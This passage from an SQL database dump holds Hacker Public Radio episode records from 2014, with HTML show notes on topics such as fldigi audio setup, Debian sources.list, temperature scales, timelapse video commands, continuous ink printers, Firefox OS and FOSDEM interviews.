(very common, narrow band tele type mode) and RTTY &gt; RTTY-45 (\"original\" radio tele type). For the typing modes you might want to check also \"View&gt;Waterfall&gt;Docked scope\" or activate \"View&gt;View/Hide Channels\".\r\n</p>\r\n<p>\r\nFinally I add a tip about using OSS-wrappers like aoss, from alsa-oss, and padsp from the pulseaudio-utils package, to run old OSS applications. I use this primarily for siggen, a suit of command line / curses applications for generating audio signals like sine wave, rectangle and so on.   \r\n</p>\r\n<p>\r\nNOTE: There is one stumbling block with pavucontrol, which I forgot to mention in the recording. Applications will only show up as playback sources or recording sinks when they actively use the interface. That is, the alsa player source will only be visible while playing, in the same way as an audacity sink can only be seen while the recording is going on. \r\n</p>\r\n\r\n<h3>Links:</h3>\r\n\r\n<ul>\r\n<li>hpr1343 :: Too Clever For Your Own Good <a href=\"https://hackerpublicradio.org/eps.php?id=1343\">https://hackerpublicradio.org/eps.php?id=1343</a>\r\n</li>\r\n<li>hpr1216 :: Digital Data Transfer <a href=\"https://hackerpublicradio.org/eps.php?id=1216\">https://hackerpublicradio.org/eps.php?id=1216</a>\r\n</li>\r\n<li>Some sparse info on the AO-21 satellite <a href=\"https://www.sat-net.com/winorbit/help/satao21.html\">https://www.sat-net.com/winorbit/help/satao21.html</a>\r\n</li>\r\n<li>Wiki page covering the CBM8032 <a href=\"https://en.wikipedia.org/wiki/Commodore_PET\">https://en.wikipedia.org/wiki/Commodore_PET</a>\r\n</li>\r\n<!-- The link below has been corrected, the old one (left in the text part) returns 404 -->\r\n<li>Fldigi home page <a href=\"https://www.w1hkj.com\">https://www.w1hkj.com/Fldigi.html</a>\r\n</li>\r\n<li>WEBSDR main page <a href=\"https://websdr.org\">https://websdr.org</a>\r\n</li>\r\n</ul>\r\n',271,0,0,'CC-BY-SA','fldigi,PulseAudio,OSS-wrapper,padsp,aoss',0,1345,1),
(1429,'2014-01-23','Debian sources.list',2499,'Personalize your Debian distro through the sources.list file','<p>\r\nHonkeymagoo and Kevin Wisher discuss the Debian GNU Linux sources.list file, and the many ways\r\nit can be used to personalize your Debian distro\r\n</p>\r\n<p>\r\nThe site that gives most of the information about the sources.list file:\r\n<a href=\"https://www.debian.org/doc/debian-policy/ch-archive.html\">https://www.debian.org/doc/debian-policy/ch-archive.html</a>\r\n</p>\r\n<p>\r\nMirror sites list:\r\n<a href=\"https://www.debian.org/mirror/list\">https://www.debian.org/mirror/list</a>\r\n</p>\r\n<p>\r\nA site that can help you make a sources.list file:\r\n<a href=\"https://debgen.simplylinux.ch/\">https://debgen.simplylinux.ch/</a>\r\n</p>\r\n<p>\r\n2 good sites to learn about apt-pinning:\r\n<a href=\"https://jaqque.sbih.org/kplug/apt-pinning.html\">https://jaqque.sbih.org/kplug/apt-pinning.html</a>\r\n<a href=\"https://www.howtoforge.com/a-short-introduction-to-apt-pinning\">https://www.howtoforge.com/a-short-introduction-to-apt-pinning</a>\r\n</p>\r\n<p>\r\nThe Debian multimedia repository: <a href=\"https://www.deb-multimedia.org/\">https://www.deb-multimedia.org/</a>\r\n</p>\r\n<p>\r\nDefault sources.list file for US:\r\n</p>\r\n<pre>\r\ndeb https://ftp.us.debian.org/debian/ wheezy main\r\ndeb-src https://ftp.us.debian.org/debian/ wheezy main\r\n\r\ndeb https://security.debian.org/ wheezy/updates main\r\ndeb-src https://security.debian.org/ wheezy/updates main\r\n\r\ndeb https://ftp.us.debian.org/debian/ wheezy-updates main\r\ndeb-src https://ftp.us.debian.org/debian/ wheezy-updates main \r\n</pre>',269,0,0,'CC-BY-SA','Debian,sources.list,apt-pinning',0,1584,1),
(1431,'2014-01-27','Talking Twenty Fourteen',2260,'New Year predictions from Jezra and NYbill','<p>\r\nIn what has become an annual thing, Jezra and NYbill talk about their New Years predictions past and future. Better late then never, I guess...\r\n</p>',235,0,1,'CC-BY-SA','New Year,2014,prediction',0,1465,1),
(1432,'2014-01-28','Fahrenheit 212',1148,'A discussion of temperature systems: Fahrenheit, Celsius (Centigrade) and Kelvin','<p>Please consider recording an episode for Hacker Public Radio. We are a you-contribute podcast. :)</p>\r\n <p>Ken requests an episode on Fahrenheit, which really requires discussion of the two temperature systems, and how they are quantified.</p>\r\n <h3>Terminology</h3>\r\n <p>Centigrade: old fashioned term for Celsius<br /> Kelvin (K): less common measurement of temperature used for Science<br /> Thermal Equilibrium: en.wikipedia.org/wiki/Thermodynamic_equilibrium<br /> Zeroth Law of Thermodynamics: en.wikipedia.org/wiki/Zeroth_law_of_thermodynamics<br /> Absolute zero: en.wikipedia.org/wiki/Absolute_zero<br />\r\n </p>\r\n <p>My personal preference is Celsius. Less numbers to deal with in everyday use.<br /> Really Cold – Temperatures below 0°C<br /> Really Hot – Temperatures above 30°C<br /> The \"American\" thinking is temperatures go in 20\'s, 30\'s, 40\'s...etc. more work!<br /> Obligatory gun discussion<br /> Indirect conversation about PV = nRT formula<br /> Correction: the absence of pressure (vacuum) causes water to boil.<br /> Celsius and Fahrenheit are \"measured\" by the states of water boiling/freezing.<br />\r\n </p><pre>\r\nCelsius\r\nfreezes at 0°\r\nboils at 100°\r\n\r\nFahrenheit\r\nfreezes at 32\r\nboils 212°\r\n\r\n1 (K) Kelvin = -273.15°C\r\n</pre>',272,0,0,'CC-BY-SA','Science, temperature',0,1432,1),
(1433,'2014-01-29','Ubuntu Quickly Ebook Template',660,'The Quickly Ubuntu eBook Template allows the user to create and manage eBooks','<p>\r\nIn this episode Mike Hingley talks about his Ubuntu Quickly Ebook Template project.  Whilst it is still in development, it allows authors the ability to publish epub style books through the ubuntu packaging system.\r\n</p>\r\n',185,0,0,'CC-BY-SA','content packaging,Ebook ',0,1441,1),
(1434,'2014-01-30','Why I made an account free android ',568,'Account Free Android Tablet: minimal Google/Ads without Rooting','<p>\r\nWhy I built an Account Free Google tablet. Including links of what was done. Some basic criteria. No accounts created for downloading, installing or configuring except for mail accounts. No rooting. No pirated apps. Something that can be easy for a user to do including installing and updating apps. One ad supported app installed, but hope to find an alternative. \r\n</p>\r\n<p>\r\n<a href=\"https://james.toebesacademy.com/Account_Free_Android_Device.html\">https://james.toebesacademy.com/Account_Free_Android_Device.html</a>\r\n</p>',273,0,1,'CC-BY-SA','Android,tablet,F-Droid,OwnCloud',0,1638,1),
(1436,'2014-02-03','2013-2014 HPR New Year Show 2013-2014 After Show 1 of 4',12207,'After show part 1/4 following the 2013-2014 New Year Show','<p>\r\nFollowing on from the end of the \"official\" recorded session, the HPR community were not talked out and continued on for another 26 hours.\r\n</p>',159,121,1,'CC-BY-SA','New Year,2014',0,1386,1),
(1437,'2014-02-04','2013-2014 HPR New Year Show 2013-2014 After Show 2 of 4',13762,'After show part 2/4 following the 2013-2014 New Year Show','<p>\r\nFollowing on from the end of the \"official\" recorded session, the HPR community were not talked out and continued on for another 26 hours. \r\n</p>',159,121,1,'CC-BY-SA','New Year,2014',0,1325,1),
(1438,'2014-02-05','2013-2014 HPR New Year Show 2013-2014 After Show 3 of 4',14029,'After show part 3/4 following the 2013-2014 New Year Show','<p>\r\nFollowing on from the end of the \"official\" recorded session, the HPR community were not talked out and continued on for another 26 hours. \r\n</p>',159,121,1,'CC-BY-SA','New Year,2014',0,1298,1),
(1439,'2014-02-06','2013-2014 HPR New Year Show 2013-2014 After Show 4 of 4',18639,'After show part 4/4 following the 2013-2014 New Year Show','<p>\r\nFollowing on from the end of the \"official\" recorded session, the HPR community were not talked out and continued on for another 26 hours. \r\n</p>',159,121,1,'CC-BY-SA','New Year,2014',0,1383,1),
(1441,'2014-02-10','Jono Bacon and Stuart Langridge talk with pokey',7821,'Jono Bacon @jonobacon and Stuart Langridge @sil talk with pokey about how they think he got it wrong','<p>Jono Bacon and Stuart Langridge were not entirely pleased with the things pokey had to say about them in the Hacker Public Radio New Years Eve Show episode <a href=\"https://hackerpublicradio.org/eps.php?id=1418\">1418</a>. They graciously contacted HPR and asked for a chance to clear the air. In this episode pokey has a chat with them about their views on Free and Open Source Software (FOSS) and advocacy.</p>\n <ul>\n  <li>Stuart Langridge\'s website: <a href=\"https://www.kryogenix.org/\">https://www.kryogenix.org/</a></li>\n  <li>Jono Bacon\'s website: <a href=\"https://jonobacon.org/\">https://jonobacon.org/</a></li>\n </ul>',128,0,1,'CC-BY-SA','Open Source,GUI,CLI',0,1657,1),
(1450,'2014-02-21','My Mobile digital life',1587,'Knightwise shows us how he stays sane during 3 hour commutes and how he safely tunes tech into his d','<p>\r\nPodcasting from the car Knightwise shows us what his morning routine looks like and how he uses technology during his daily 3 hour commute.  With some clever tips on using audio and voice technology to stay in touch with tech, stay sane and more importantly, stay safe.\r\n</p>\r\n<p>\r\nShownotes My Mobile Life.\r\n</p>\r\n\r\n<ul>\r\n<li>Cnet Today <a href=\"https://www.cnet.com/\">https://www.cnet.com/</a>\r\n</li>\r\n<li>Hak5 <a href=\"https://hak5.org/\">https://hak5.org/</a>\r\n</li>\r\n<li>Ted Talks (Tedd App) <a href=\"https://play.google.com/store/apps/details?id=com.ted.android&amp;hl=en\">https://play.google.com/store/apps/details?id=com.ted.android&amp;hl=en</a>\r\n</li>\r\n<li>feed.li <a href=\"https://feedly.com\">https://feedly.com</a>\r\n</li>\r\n<li>Aldiko <a href=\"https://play.google.com/store/apps/details?id=com.aldiko.android&amp;hl=en\">https://play.google.com/store/apps/details?id=com.aldiko.android&amp;hl=en</a>\r\n</li>\r\n<li>Pocket <a href=\"https://play.google.com/store/apps/details?id=com.ideashower.readitlater.pro&amp;hl=en\">https://play.google.com/store/apps/details?id=com.ideashower.readitlater.pro&amp;hl=en</a>\r\n</li>\r\n<li>Voxxer <a href=\"https://play.google.com/store/apps/details?id=com.rebelvox.voxer&amp;hl=en\">https://play.google.com/store/apps/details?id=com.rebelvox.voxer&amp;hl=en</a>\r\n</li>\r\n<li>Doggcatcher <a href=\"https://play.google.com/store/apps/details?id=com.snoggdoggler.android.applications.doggcatcher.v1_0&amp;hl=en\">https://play.google.com/store/apps/details?id=com.snoggdoggler.android.applications.doggcatcher.v1_0&amp;hl=en</a>\r\n</li>\r\n<li>podiobooks <a href=\"https://www.podiobooks.com\">www.podiobooks.com</a>\r\n</li>\r\n</ul>\r\n',111,0,0,'CC-BY-SA','knightwise, hacks, lifehacks, howto, mobile, car, drive, safe, technology',0,1510,1),
(1460,'2014-03-07','The road warrios command line combat life.',989,'Podcasting from the car Knightwise shows us his favorite command line applications and how he connec','<p>\r\nPodcasting from the car Knightwise shows us his favorite command line applications and how he connects to them from anywhere.\r\n</p>\r\n<p>\r\nShownotes \r\n</p>\r\n\r\n<ul>\r\n<li>SSH server on Ubuntu. : Sudo apt-get install open-ssh-server\r\n</li>\r\n<li>Irssi : Sudo apt-get install irssi\r\n</li>\r\n<li>Centertim : sudo apt-get install centerim\r\n</li>\r\n<li>Alpine : sudo apt-get install alpine\r\n</li>\r\n<li>Connectbot <a href=\"https://play.google.com/store/apps/details?id=org.connectbot&amp;hl=en\">https://play.google.com/store/apps/details?id=org.connectbot&amp;hl=en</a>\r\n</li>\r\n<li>botsync <a href=\"https://play.google.com/store/apps/details?id=com.botsync&amp;hl=en\">https://play.google.com/store/apps/details?id=com.botsync&amp;hl=en</a>\r\n</li>\r\n<li>Putty : <a href=\"https://www.chiark.greenend.org.uk/~sgtatham/putty/\">https://www.chiark.greenend.org.uk/~sgtatham/putty/</a>\r\n</li>\r\n<li>Secure Shell : <a href=\"https://chrome.google.com/webstore/detail/secure-shell/pnhechapfaindjhompbnflcldabbghjo?hl=en\">https://chrome.google.com/webstore/detail/secure-shell/pnhechapfaindjhompbnflcldabbghjo?hl=en</a>\r\n</li>\r\n<li>Knightwise.com : <a href=\"https://www.knightwise.com\">https://www.knightwise.com</a>\r\n</li>\r\n</ul>',111,0,0,'CC-BY-SA','knightwise, hacks, lifehacks, howto, technology, linux, ssh',0,1564,1),
(1470,'2014-03-21','Learn to read time with ccClock',1442,'A teaching tool for children learning to read an analogue clock','<p>Over the years the image of the clock has been abstracted and stylized to\r\na point where a long and a short line inside a circle, or even inside four\r\ndots on the ordinals, can be instantaneously recognized as a clock. This is\r\nperfectly fine if you already know how to read the analog clock but it makes\r\nno sense to use such a design as a teaching aid.</p>\r\n<center>\r\n<img alt=\"oval with two hands\" height=\"200\" src=\"https://kenfallon.com/wp-content/uploads/2016/08/jcartier_Clock-150x150.png\" /> \r\n<img alt=\"Creative Commons Clock\" height=\"200\" src=\"https://kenfallon.com/wp-content/uploads/2016/08/clocks-en-IE-150x150.png\" />\r\n\r\n</center>\r\n\r\n<p>As a teaching device, you need to make sure all the information that has been abstracted away <em>has been put back</em>.</p>\r\n<p>That is the basic principle of the <strong>ccClock</strong></p>\r\n<ul>\r\n<li>The minute hand points at the minute dial</li>\r\n<li>All the minutes are listed removing the need to know the 5 or 15 math table</li>\r\n<li>The Clockwise direction is emphasized with arrows and text orientation.</li>\r\n<li>The two per day rotation of the hour hand is described using a concentric spiral</li>\r\n<li>The progression of day into night is indicated by recognizable icons of the rising and setting sun and moon</li>\r\n<li>The written format is described in the traditional dial digits</li>\r\n<li>The spoken form is described in speech balloons</li></ul><h2>Links</h2><ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=0QVPUIRGthI\">Dave Allen - \"Teaching Your Kid Time\"</a></li>\r\n<li><a href=\"https://openclipart.org/\">https://openclipart.org/</a></li>\r\n<li><a href=\"https://kenfallon.com/ccclock\">https://kenfallon.com/ccclock</a></li>\r\n</ul>\r\n',30,0,1,'CC-BY-SA','analogue clock,telling time',0,1541,1),
(1480,'2014-04-04','Continuous Ink Supply System',1200,'How goibhniu got Ken to use a Brother MFC-J5910DW with a Continuous Ink Supply System','<h1>The cost of printing</h1>\n<p>The reason that printers are so affordable is because like game consoles, they are not. They are sold at cost or below cost. The printer manufacturers make their money by selling you replacement ink cartridges that are very expensive. While you can use replacement cartridges, the manufactures will try and dissuade you from using them by displaying messages in the screens to \"alert\" you to the fact, or will include chips in their printers to prevent you from refilling or swapping their cartridges for cheaper alternatives. You should consider a laser printer option as while the toner cartridges are more expensive, even those supplied by the manufacturers work out cheaper over time. But if you wish to use a Ink Jet, then a serious alternative to lower the cost of printing is to use a CISS, Continuous ink supply system.</p>\n<h1>CISS, Continuous ink supply system</h1>\n<p>A CISS, Continuous ink supply system, is a system where you use cheaper non brand ink in your printer, just like you would with replacement no-name brand cartridges. Instead of having to refill the cartridges as they empty you supply them via a thin hose to an external reservoir. The advantage is that you can buy your ink in bulk and refill it without having to open the printer. This brings the cost of printing down considerably.<br /><a href=\"https://upload.wikimedia.org/wikipedia/commons/thumb/9/92/Cis2.jpg/800px-Cis2.jpg\"><img alt=\"link to picture of CISS printer\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/9/92/Cis2.jpg/320px-Cis2.jpg\" /></a></p>\n<h3>Now to pick a printer</h3>\n<ol>\n<li>What Functions would you like ?<br /> In the Netherlands there is an excellent site called Tweakers.net that allow you to select devices by their features without having to gather all the information from various review sites that may/may not be influenced by outside forces. Although the site is in Dutch it should be fairly obvious what\'s being asked.<br /><a href=\"https://tweakers.net/categorie/922/printers/producten/\">https://tweakers.net/categorie/922/printers/producten/</a> (<a href=\"https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Ftweakers.net%2Fcategorie%2F922%2Fprinters%2Fproducten%2F\">Google Translate version</a>)</li>\n<li>Will it work with Linux<br /> Once you short list the printer(s) you like, head over to <a href=\"https://www.openprinting.org/printers\">https://www.openprinting.org/printers</a> to find out if it\'s supported by Linux and by extension Mac/iOS. Do this even if you plan to run Windows as it proves that the printer is popular and is likely to be supported.</li>\n<li>Will it <strong>really</strong> work with Linux<br /> Support is a big word and while it may be trivial for some to recompile a Kernel and X to get the thing working. It saves a lot of time and effort if you look around on the Linux Distributions forums to see if there are reported problems installing the printer. A good search is \"${your printer model number} linux howto\", check the dates on the posts as well paying more attention to the newer ones. Don\'t worry if you find a HowTo on another distribution than the one you are using as the chances are good that it will also apply to your install.</li>\n<li>Can you easily use replacement cartridges ?<br /> For to answer this, you will need to search in your local stores and on-line to see if there is a popular replacement option available. You should pay particular care to whether the cartridges require a chip or not.</li>\n<li>Is there a CISS option<br /> Now you need to check for a CISS supplier and to see whether they have a supported model for your printer and if there is instruction videos on how to install them<br /> For my purposes \"City Ink Express\" <a href=\"https://www.cityinkexpress.co.uk/ciss\">https://www.cityinkexpress.co.uk/ciss</a> fitted the bill on both counts. They are a UK store and the only purchase I made arrived before the printer I ordered and the ink system seems to work fine.</li>\n</ol>\n<h2>Brother MFC-J5910DW</h2>\n<p>I ended up going with the \"Brother MFC-J5910DW\" as we were looking for a printer that could scan to the network, print A3, A4 duplex, as well as supporting Linux. At the time of writing the Brother printers do not use any chips and allow you to replace the cartridges. One annoying thing was that when the ink in one of the supplied cartridges went empty (after printing 10 A3 pages), it no longer allowed me to scan to the network. Fortunately I had the CISS system ready to rock and to be honest I was dreading installing it.</p>\n<p>Even if you don\'t want to purchase your CISS system from City Ink Express, you should have a look at their videos. For my printer there were three that were appropriate, namely how to Fill and prime it, how to install it and (for the future) how to refill it. I\'m not going to waste time on my experiences as I have nothing to add to the videos other than to say, you may want to put on a pair of gloves and do your work over a news paper to capture any ink that spills.</p>\n<h3>How to fill and prime brother Ciss for LC980 -LC985 - LC1100 -LC1240 - LC1280</h3><iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/KWh0B7-TsNg?feature=player_detailpage\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n<h3>Ciss continuous ink system for Brother LC1220, LC1240, LC1280 Printers</h3><iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/aI7Z3RMmbSw?feature=player_detailpage\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n<h3>how to top up a brother ciss</h3><iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/etEFGbxsoiM?feature=player_detailpage\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n<h2>Result</h2>\n<p>I\'m not using the system or the printer long enough to give a full review but the CISS system has saved two birthday parties so not a bad start.</p>\n<p><img alt=\"The Brother Printer\" width=\"70%\" src=\"https://www.brother.co.uk/data/images/database/$brotheruk/buk09products/big/MFCJ5910DWfront.png\" /></p>\n<p><img alt=\"CISS Supply System\" width=\"70%\" src=\"https://www.cityinkexpress.co.uk/_assets/images/products/FR-701_1.jpg\" /></p>\n<h2>Links</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Continuous_ink_system\">https://en.wikipedia.org/wiki/Continuous_ink_system</a></li>\n<li><a href=\"https://kenfallon.com/install-printer-hp-color-laserjet-1600/\">https://kenfallon.com/install-printer-hp-color-laserjet-1600/</a></li>\n<li><a href=\"https://tweakers.net/categorie/922/printers/producten/\">https://tweakers.net/categorie/922/printers/producten/</a></li>\n<li><a href=\"https://translate.google.com/translate?u=http%3A//tweakers.net/categorie/922/printers/producten/&hl=en&langpair=auto|en&tbb=1&ie=ISO-8859-15\">https://translate.google.com/translate?u=http%3A//tweakers.net/categorie/922/printers/producten/&amp;hl=en&amp;langpair=auto|en&amp;tbb=1&amp;ie=ISO-8859-15</a></li>\n<li><a href=\"https://www.openprinting.org/printers\">https://www.openprinting.org/printers</a></li>\n<li><a href=\"https://cups.org/\">https://cups.org/</a></li>\n<li><a href=\"https://www.cityinkexpress.co.uk/\">https://www.cityinkexpress.co.uk/</a></li>\n<li><a href=\"https://www.brother.co.uk/g3.cfm/s_page/215760/s_level/36230/s_product/MFCJ5910DWZU1\">https://www.brother.co.uk/g3.cfm/s_page/215760/s_level/36230/s_product/MFCJ5910DWZU1</a></li>\n<li><a href=\"https://www.youtube.com/user/cityinkexpress?feature=watch\">https://www.youtube.com/user/cityinkexpress?feature=watch</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=KWh0B7-TsNg\">https://www.youtube.com/watch?v=KWh0B7-TsNg</a></li>\n<li><a href=\"https://www.youtube.com/watch?feature=player_embedded&v=aI7Z3RMmbSw\">https://www.youtube.com/watch?feature=player_embedded&amp;v=aI7Z3RMmbSw</a></li>\n</ul>\n',30,0,1,'CC-BY-SA','printer,inkjet,continuous ink supply system,ciss',0,1428,1),
(1449,'2014-02-20','Timelapse Video',698,'A quick introduction to timelapse video and some of the tools used in linux to help create them. ','<p>\r\nA quick introduction to timelapse video and some of the tools used in linux to help create them. \r\n</p>\r\n<p>\r\ncd to dir that holds the images\r\n</p>\r\n<p>\r\nCreate a directory called resize and run\r\n</p>\r\n<p>\r\n \"mogrify -path resize -resize 1920x1080! *.JPG\" \r\n</p>\r\n<p>\r\nIf you need to Deflicker your images place the script in your resize directory \r\nand run\r\n</p>\r\n<p>\r\n \"./timelapse-deflicker.pl -v\"\r\n</p>\r\n<p>\r\nThis will create a dir called deflickered\r\n</p>\r\n<p>\r\nIf you use mencoder to create your video you need to use ls and make a text \r\nfile with the files listed in sequential order\r\n</p>\r\n<p>\r\n \"ls -1tr | grep -v files.txt &gt; files.txt\"\r\n</p>\r\n<p>\r\nthen\r\n</p>\r\n<p>\r\n \"mencoder -nosound -noskip -oac copy -ovc copy -o outputfile.avi -mf fps=25 \'mf://@files.txt\'\r\n</p>\r\n<p>\r\nif you use ffmpeg something like this should get you out of trouble, though \r\nyour files need to be named in sequential order starting with img(number 1 2 etc).jpg \r\n</p>\r\n<p>\r\n \"ffmpeg -f image2 -i img%d.jpg -vcodec libx264 outputfile.mp4\"\r\n</p>\r\n<p>\r\nYoutube links\r\n</p>\r\n<p>\r\n Milkyway \r\n</p>\r\n<p>\r\n <a href=\"https://youtu.be/VeGM7iEBUT0\">https://youtu.be/VeGM7iEBUT0</a>\r\n</p>\r\n<p>\r\n Construction\r\n</p>\r\n<p>\r\n <a href=\"https://youtu.be/-9iCGD6Ielw\">https://youtu.be/-9iCGD6Ielw</a>\r\n</p>\r\n<p>\r\nDeflicker script\r\n</p>\r\n<p>\r\n<a href=\"https://tinyurl.com/p7ffof7\">https://tinyurl.com/p7ffof7</a>\r\n</p>',232,0,0,'CC-BY-SA','time lapse,linux,ffmpeg,cameras,photography,mencoder',2,224,1),
(1444,'2014-02-13','What is Firefox OS?',805,'A short introduction to Mozilla\'s Firefox OS mobile operating system and what it is','<p>\r\nA short introduction to Mozilla\'s Firefox OS mobile operating system and what it is.  Discussed are what devices are available and what devices Firefox OS can run on.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.mozilla.org/en-US/firefox/os/\">https://www.mozilla.org/en-US/firefox/os/</a>\r\n</li>\r\n<li><a href=\"https://addons.mozilla.org/en-US/firefox/addon/firefox-os-simulator/?src=search\">https://addons.mozilla.org/en-US/firefox/addon/firefox-os-simulator/?src=search</a>\r\n</li>\r\n<li><a href=\"https://developer.mozilla.org/en-US/Firefox_OS/Security/Security_model\">https://developer.mozilla.org/en-US/Firefox_OS/Security/Security_model</a>\r\n</li>\r\n<li><a href=\"https://marketplace.firefox.com/\">https://marketplace.firefox.com/</a>\r\n</li>\r\n<li><a href=\"https://lists.mozilla.org/listinfo/dev-b2g\">https://lists.mozilla.org/listinfo/dev-b2g</a>\r\n</li>\r\n<li><a href=\"https://support.mozilla.org/en-US/products/firefox-os\">https://support.mozilla.org/en-US/products/firefox-os</a>\r\n</li>\r\n<li><a href=\"https://developer.mozilla.org/en-US/Firefox_OS?redirectlocale=en-US&amp;redirectslug=Firefox_OS\">https://developer.mozilla.org/en-US/Firefox_OS?redirectlocale=en-US&amp;redirectslug=Firefox_OS</a>\r\n</li>\r\n<li><a href=\"https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/ZTE_OPEN\">https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/ZTE_OPEN</a>\r\n</li>\r\n<li><a href=\"https://developer.mozilla.org/en-US/Marketplace\">https://developer.mozilla.org/en-US/Marketplace</a>\r\n</li>\r\n<li><a href=\"https://www.ztedevices.com/support/smart_phone/b5a2981a-1714-4ac7-89e1-630e93e220f8.html\">https://www.ztedevices.com/support/smart_phone/b5a2981a-1714-4ac7-89e1-630e93e220f8.html</a>\r\n</li>\r\n<li><a href=\"https://www.reddit.com/r/firefoxos\">https://www.reddit.com/r/firefoxos</a>\r\n</li>\r\n<li><a href=\"https://firefoxosguide.com/\">https://firefoxosguide.com/</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Firefox_OS\">https://en.wikipedia.org/wiki/Firefox_OS</a>\r\n</li>\r\n</ul>',274,0,0,'CC-BY-SA','Firefox OS',0,1585,1),
(1443,'2014-02-12','Fahrenheit 0-100',1033,'The Fahrenheit scale DOES make sense!  Just don\'t add water.','<p>\r\nThe Fahrenheit scale DOES make sense!  Just don\'t add water.\r\n</p>\r\n<pre>\r\nComparing temperature points:\r\n  ºC      ºF     ºK       ºR\r\n-273    -460      0        0  Absolute zero\r\n -40     -40    233      420  C = F\r\n -18       0    255      460  Coldest of the year?\r\n   0      32    273      492  Water freezes\r\n  10      50    283      510  Spring or Fall day?\r\n  23      73.4  296      533  Better room temp\r\n  25      77    298      537  Room temp\r\n  37      98.6  310      558  Human body temp\r\n  38     100    311      580  Hottest of the year?\r\n  85     185    358      645  This one sticks with me\r\n 100     212    373      672  Water Boils\r\n 125     257    398      717  Maximum silicon chip\r\n 371     700    644     1160  Soldering iron tip\r\n</pre>\r\n\r\n<p>\r\nThe scales and the people:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fahrenheit\">https://en.wikipedia.org/wiki/Fahrenheit</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Daniel_Gabriel_Fahrenheit\">https://en.wikipedia.org/wiki/Daniel_Gabriel_Fahrenheit</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Celcius\">https://en.wikipedia.org/wiki/Celcius</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Anders_Celsius\">https://en.wikipedia.org/wiki/Anders_Celsius</a>\r\n</li>\r\n</ul>\r\n',275,0,0,'CC-BY-SA','temperature scale,Fahrenheit,Celsius,centigrade,Kelvin,Rankine',0,1359,1),
(1446,'2014-02-17','Interview with Fernando H. F. Botelho from the F123 group',2817,'In today\'s show Ken talks to Fernando H. F. Botelho from the F123 group.','<p>\r\nIn today\'s show Ken talks to Fernando H. F. Botelho from the F123 group.\r\n</p>\r\n<blockquote>\r\nThe F123 Group, which includes Botelho & Paula Consultoria Empresarial Ltda., F123 Consulting, and F123 Software, designs and manages projects in the areas of poverty reduction, technology, and disability. The group provides NGOs, educational institutions, foundations, government agencies, individuals, and international organizations with project management and technical development services, as well as professional low-cost software and training for blind and visually impaired persons.\r\n</blockquote>\r\n<p>\r\nDuring the discussion we discuss the different approaches to helping accessibility on Linux. You can email them on info@f123.org, or by following them on twitter: <a href=\"https://Twitter.com/F123org\">https://Twitter.com/F123org</a>\r\n</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li>F123: <a href=\"https://f123.org/en/\">https://f123.org/en/</a></li>\r\n<li>Sonar Linux: <a href=\"https://sonar-project.org/\">https://sonar-project.org/</a></li>\r\n<li>Vinux: <a href=\"https://vinuxproject.org/\">https://vinuxproject.org/</a></li>\r\n<li>eSpeak text to speech<a href=\"https://espeak.sourceforge.net/\">https://espeak.sourceforge.net/</a></li>\r\n<li>The Festival Speech Synthesis System: <a href=\"https://www.cstr.ed.ac.uk/projects/festival/\">https://www.cstr.ed.ac.uk/projects/festival/</a></li>\r\n<li>MARY Text-to-Speech System: <a href=\"https://mary.dfki.de/\">https://mary.dfki.de/</a></li>\r\n<li>Speech Dispatcher: <a href=\"https://devel.freebsoft.org/speechd\">https://devel.freebsoft.org/speechd</a></li>\r\n<li>SpeechHub - TTS server for the vision impaired community: <a href=\"https://www.speechhub.org/\">https://www.speechhub.org/</a></li>\r\n<li>Adding support for a new language to MARY TTS: <a href=\"https://github.com/marytts/marytts/wiki/New-Language-Support\">https://github.com/marytts/marytts/wiki/New-Language-Support</a></li>\r\n<li>RedStart: Voice recording tool for TTS: <a href=\"https://mary.opendfki.de/wiki/RedStart\">https://mary.opendfki.de/wiki/RedStart</a></li>\r\n<li>OpenJDK: <a href=\"https://openjdk.java.net/legal/gplv2+ce.html\">https://openjdk.java.net/legal/gplv2+ce.html</a></li>\r\n</ul>',30,78,1,'CC-BY-SA','interview,accessibility,Sonar Linux,Vinux,eSpeak,Festival,MARY TTS',0,1286,1),
(1447,'2014-02-18','HPR Coverage at FOSDEM 2014 Part 1/5',5925,'FOSDEM 2014 Report, part 1','<h1>HPR Coverage at FOSDEM 2014</h1>\r\n<p>\r\nThe following are a series of interviews recorded at FOSDEM 2014.\r\n</p>\r\n<blockquote>\r\nFOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate.\r\n</blockquote>\r\n<p>\r\nFor more information see the website <a href=\"https://fosdem.org/2014/\">https://fosdem.org/2014/</a>, where you can watch a recording of the many talks <a href=\"https://video.fosdem.org/2014/\">https://video.fosdem.org/2014/</a>\r\n</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/fosdem2014/t0035008.jpg\" alt=\"\" /><br />An example of one of the many FOSDEM signs.</p>\r\n<h2>Day1</h2>\r\n<h3>00:00:30 Introduction</h3>\r\n<p>Ken and Dave introduce the show</p>\r\n\r\n<h3>00:01:55 FOSDEM Volunteers</h3>\r\n<p>\r\nThe first chat was with Kristof Provost. By day a Embedded Software Engineer, but at fosdem he transforms into a cloak room attendant and we chat about how you can help out at FOSDEM.<br />\r\n<a href=\"https://www.codepro.be\">https://www.codepro.be</a>\r\n</p>\r\n<h3>00:04:52 OSGeo project</h3>\r\n<p>\r\nNext was a chat with Anne Ghisla from the OSGeo 